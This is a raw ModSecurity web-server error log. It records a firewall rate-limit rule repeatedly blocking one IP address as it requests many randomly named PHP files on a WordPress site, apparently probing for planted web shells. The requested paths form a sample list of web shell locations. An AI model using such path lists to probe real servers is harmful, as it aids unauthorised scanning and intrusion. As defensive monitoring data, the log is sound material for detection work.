[Sat Apr 11 09:42:09.839197 2026] [:error] [pid 22665:tid 22740] [client 72.146.3.145:26761] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admm8Ugi15J0QUr6OrPrTQAAAZA"]
[Sat Apr 11 09:42:10.334747 2026] [:error] [pid 22663:tid 22680] [client 72.146.3.145:4889] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admm8o1p7ez17BT2hZYPewAAAQw"]
[Sat Apr 11 09:42:10.857196 2026] [:error] [pid 22665:tid 22725] [client 72.146.3.145:65457] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admm8kgi15J0QUr6OrPrTwAAAYE"]
[Sat Apr 11 09:42:11.568506 2026] [:error] [pid 22665:tid 22728] [client 72.146.3.145:53138] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admm80gi15J0QUr6OrPrUwAAAYQ"]
[Sat Apr 11 09:42:12.036002 2026] [:error] [pid 22663:tid 22686] [client 72.146.3.145:65418] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admm9I1p7ez17BT2hZYPfwAAARI"]
[Sat Apr 11 09:42:12.515251 2026] [:error] [pid 22663:tid 22683] [client 72.146.3.145:35438] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "admm9I1p7ez17BT2hZYPgQAAAQ8"]
[Sat Apr 11 09:42:13.004852 2026] [:error] [pid 22665:tid 22741] [client 72.146.3.145:65421] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "admm9Ugi15J0QUr6OrPrWgAAAZE"]
[Sat Apr 11 09:42:13.468813 2026] [:error] [pid 22665:tid 22727] [client 72.146.3.145:53500] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "admm9Ugi15J0QUr6OrPrXQAAAYM"]
[Sat Apr 11 09:42:13.939335 2026] [:error] [pid 22665:tid 22732] [client 72.146.3.145:26812] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "admm9Ugi15J0QUr6OrPrZQAAAYg"]
[Sat Apr 11 09:42:14.411819 2026] [:error] [pid 22665:tid 22741] [client 72.146.3.145:26791] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.qiodetme.php"] [unique_id "admm9kgi15J0QUr6OrPraQAAAZE"]
[Sat Apr 11 09:42:14.881199 2026] [:error] [pid 22665:tid 22744] [client 72.146.3.145:24026] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.qiodetme.php"] [unique_id "admm9kgi15J0QUr6OrPrbQAAAZQ"]
[Sat Apr 11 09:42:15.342213 2026] [:error] [pid 22664:tid 22712] [client 72.146.3.145:26179] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.qiodetme.php"] [unique_id "admm9wRS_OPFpcXOZmWQCAAAAU8"]
[Sat Apr 11 09:42:15.806596 2026] [:error] [pid 25460:tid 25481] [client 72.146.3.145:26788] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.qiodetme.php"] [unique_id "admm954qILXFw3ifO2t0fgAAAFM"]
[Sat Apr 11 09:42:16.270476 2026] [:error] [pid 25460:tid 25479] [client 72.146.3.145:26811] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sodas.php"] [unique_id "admm-J4qILXFw3ifO2t0gAAAAFE"]
[Sat Apr 11 09:42:16.767146 2026] [:error] [pid 22756:tid 22769] [client 72.146.3.145:4375] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sodas.php"] [unique_id "admm-GfoSJ40LEm6kfq_nQAAAAs"]
[Sat Apr 11 09:42:17.249563 2026] [:error] [pid 22756:tid 22766] [client 72.146.3.145:49193] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sodas.php"] [unique_id "admm-WfoSJ40LEm6kfq_ogAAAAg"]
[Sat Apr 11 09:42:17.722663 2026] [:error] [pid 25460:tid 25469] [client 72.146.3.145:65470] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sodas.php"] [unique_id "admm-Z4qILXFw3ifO2t0hgAAAEc"]
[Sat Apr 11 09:42:18.180955 2026] [:error] [pid 22665:tid 22725] [client 72.146.3.145:24865] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "admm-kgi15J0QUr6OrPrfAAAAYE"]
[Sat Apr 11 09:42:21.232048 2026] [:error] [pid 34492:tid 34503] [client 72.146.3.145:53464] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "admm_WSFs_IUTce-fjJRKwAAAQU"]
[Sat Apr 11 09:42:21.820342 2026] [:error] [pid 34492:tid 34519] [client 72.146.3.145:24025] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "admm_WSFs_IUTce-fjJRRQAAARU"]
[Sat Apr 11 09:42:22.284639 2026] [:error] [pid 34587:tid 34590] [client 72.146.3.145:34751] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "admm_rt4r9yDeWHGFVe-jAAAAAE"]
[Sat Apr 11 09:42:22.794196 2026] [:error] [pid 34493:tid 34539] [client 72.146.3.145:35410] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "admm_ma6Yfvj3NCpsXsNoQAAAUw"]
[Sat Apr 11 09:42:23.253395 2026] [:error] [pid 34493:tid 34541] [client 72.146.3.145:35408] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "admm_2a6Yfvj3NCpsXsNowAAAU4"]
[Sat Apr 11 09:42:23.785188 2026] [:error] [pid 34492:tid 34519] [client 72.146.3.145:53464] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "admm_2SFs_IUTce-fjJRUAAAARU"]
[Sat Apr 11 09:42:24.249948 2026] [:error] [pid 34493:tid 34531] [client 72.146.3.145:32582] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "admnAGa6Yfvj3NCpsXsNqwAAAUQ"]
[Sat Apr 11 09:42:24.787863 2026] [:error] [pid 34493:tid 34544] [client 72.146.3.145:4469] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "admnAGa6Yfvj3NCpsXsNtAAAAVE"]
[Sat Apr 11 09:42:25.263689 2026] [:error] [pid 34492:tid 34511] [client 72.146.3.145:37432] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "admnAWSFs_IUTce-fjJRWAAAAQ0"]
[Sat Apr 11 09:42:25.765865 2026] [:error] [pid 34492:tid 34515] [client 72.146.3.145:34652] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "admnAWSFs_IUTce-fjJRXQAAARE"]
[Sat Apr 11 09:42:26.243540 2026] [:error] [pid 34493:tid 34529] [client 72.146.3.145:45094] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "admnAma6Yfvj3NCpsXsNxQAAAUI"]
[Sat Apr 11 09:42:26.847869 2026] [:error] [pid 34587:tid 34602] [client 72.146.3.145:35211] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "admnArt4r9yDeWHGFVe-mQAAAA0"]
[Sat Apr 11 09:42:27.348439 2026] [:error] [pid 34494:tid 34573] [client 72.146.3.145:25055] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "admnA91c4HHLVtzbmnqfMwAAAZM"]
[Sat Apr 11 09:42:27.911746 2026] [:error] [pid 34587:tid 34600] [client 72.146.3.145:34743] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "admnA7t4r9yDeWHGFVe-qwAAAAs"]
[Sat Apr 11 09:42:28.445200 2026] [:error] [pid 34493:tid 34534] [client 72.146.3.145:34685] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "admnBGa6Yfvj3NCpsXsN5AAAAUc"]
[Sat Apr 11 09:42:28.978776 2026] [:error] [pid 34587:tid 34609] [client 72.146.3.145:34716] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "admnBLt4r9yDeWHGFVe-sgAAABQ"]
[Sat Apr 11 09:42:29.467575 2026] [:error] [pid 34587:tid 34589] [client 72.146.3.145:37012] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "admnBbt4r9yDeWHGFVe-tQAAAAA"]
[Sat Apr 11 09:42:29.993466 2026] [:error] [pid 34492:tid 34503] [client 72.146.3.145:34627] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "admnBWSFs_IUTce-fjJRzgAAAQU"]
[Sat Apr 11 09:42:30.580346 2026] [:error] [pid 34492:tid 34518] [client 72.146.3.145:4361] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "admnBmSFs_IUTce-fjJR1QAAARQ"]
[Sat Apr 11 09:42:31.094587 2026] [:error] [pid 34492:tid 34504] [client 72.146.3.145:34718] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "admnB2SFs_IUTce-fjJR3QAAAQY"]
[Sat Apr 11 09:42:31.664892 2026] [:error] [pid 34492:tid 34522] [client 72.146.3.145:49175] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "admnB2SFs_IUTce-fjJR5wAAARg"]
[Sat Apr 11 09:42:32.321059 2026] [:error] [pid 34492:tid 34498] [client 72.146.3.145:34712] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "admnCGSFs_IUTce-fjJR8AAAAQA"]
[Sat Apr 11 09:42:32.850230 2026] [:error] [pid 34492:tid 34508] [client 72.146.3.145:49171] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "admnCGSFs_IUTce-fjJR9wAAAQo"]
[Sat Apr 11 09:42:33.799570 2026] [:error] [pid 34494:tid 34558] [client 72.146.3.145:49202] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "admnCd1c4HHLVtzbmnqfOwAAAYQ"]
[Sat Apr 11 09:42:37.231924 2026] [:error] [pid 34822:tid 34828] [client 72.146.3.145:24845] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "admnDdoScBMkNZUKMZ3ZeAAAAQE"]
[Sat Apr 11 09:42:37.697081 2026] [:error] [pid 34823:tid 34864] [client 72.146.3.145:22951] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "admnDQsYI0mgChM8Fe253gAAAUo"]
[Sat Apr 11 09:42:38.162212 2026] [:error] [pid 34911:tid 34913] [client 72.146.3.145:24860] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "admnDg4Dca235WG8VGLHqQAAAAA"]
[Sat Apr 11 09:42:39.516955 2026] [:error] [pid 34824:tid 34895] [client 72.146.3.145:45098] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "admnD1_rq5TGFWAbVHXd9wAAAY4"]
[Sat Apr 11 09:42:40.008937 2026] [:error] [pid 34911:tid 34915] [client 72.146.3.145:35250] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "admnEA4Dca235WG8VGLHqgAAAAI"]
[Sat Apr 11 09:42:40.503081 2026] [:error] [pid 34823:tid 34863] [client 72.146.3.145:32581] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "admnEAsYI0mgChM8Fe259wAAAUk"]
[Sat Apr 11 09:42:41.172784 2026] [:error] [pid 34824:tid 34893] [client 72.146.3.145:58045] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "admnEV_rq5TGFWAbVHXeBwAAAYw"]
[Sat Apr 11 09:42:41.664350 2026] [:error] [pid 34911:tid 34919] [client 72.146.3.145:35204] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "admnEQ4Dca235WG8VGLHrwAAAAY"]
[Sat Apr 11 09:42:42.164025 2026] [:error] [pid 34823:tid 34862] [client 72.146.3.145:32590] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "admnEgsYI0mgChM8Fe26AQAAAUg"]
[Sat Apr 11 09:42:42.652799 2026] [:error] [pid 34911:tid 34934] [client 72.146.3.145:32658] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "admnEg4Dca235WG8VGLHvAAAABU"]
[Sat Apr 11 09:42:43.149044 2026] [:error] [pid 34822:tid 34849] [client 72.146.3.145:34695] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "admnE9oScBMkNZUKMZ3ZvQAAARY"]
[Sat Apr 11 09:42:43.672287 2026] [:error] [pid 34911:tid 34936] [client 72.146.3.145:49197] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "admnEw4Dca235WG8VGLHywAAABc"]
[Sat Apr 11 09:42:44.259677 2026] [:error] [pid 34911:tid 34936] [client 72.146.3.145:24870] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "admnFA4Dca235WG8VGLH3AAAABc"]
[Sat Apr 11 09:42:44.429331 2026] [:error] [pid 34823:tid 34869] [client 157.15.40.61:59939] [client 157.15.40.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "admnFAsYI0mgChM8Fe26EAAAAU8"]
